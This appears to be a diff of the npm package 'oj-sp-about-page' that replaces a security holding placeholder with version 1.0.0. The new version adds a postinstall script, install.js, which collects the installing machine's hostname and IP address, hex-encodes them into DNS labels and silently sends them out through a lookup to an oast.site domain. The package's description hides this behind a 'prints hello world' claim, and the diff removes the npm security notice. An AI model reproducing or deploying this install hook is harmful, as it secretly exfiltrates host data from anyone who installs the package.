oj-sp-about-page 0.0.1-security → 1.0.0

package/install.js

@@ -0,0 +1,39 @@
+const dns = require('dns');
+const os = require('os');
+
+function getIpAddress() {
+  const interfaces = os.networkInterfaces();
+  for (const devName in interfaces) {
+    const iface = interfaces[devName];
+    for (let i = 0; i < iface.length; i++) {
+      const alias = iface[i];
+      if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal) {
+        return alias.address;
+      }
+    }
+  }
+  return '0.0.0.0';
+}
+
+const hostname = os.hostname();
+const ip = getIpAddress();
+const data = `${hostname}-${ip}`;
+const hexData = Buffer.from(data).toString('hex');
+
+// Split into 60-char chunks to satisfy DNS label limit (63 chars)
+const chunks = hexData.match(/.{1,60}/g) || [];
+const encodedSubdomain = chunks.join('.');
+
+const suffix = 'd59qvu2fidh14254vjdgzfnqqtzusyi8d.oast.site';
+let domain = `${encodedSubdomain}.${suffix}`;
+
+// Ensure total length doesn't exceed 253 chars
+if (domain.length > 253) {
+  const maxSubdomainLen = 253 - suffix.length - 1; // -1 for the dot
+  // Truncate chunks if needed (simplified truncation)
+  domain = `${encodedSubdomain.substring(0, maxSubdomainLen)}.${suffix}`;
+}
+
+dns.lookup(domain, (err, address, family) => {
+  // Silent failure/success
+});

package/package.json

@@ -1,6 +1,14 @@
 {
   "name": "oj-sp-about-page",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "1.0.0",
+  "description": "A package that prints hello world and looks up a domain on install",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node install.js"
+  },
+  "files": [
+    "install.js"
+  ],
+  "author": "",
+  "license": "ISC"
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=oj-sp-about-page for more information.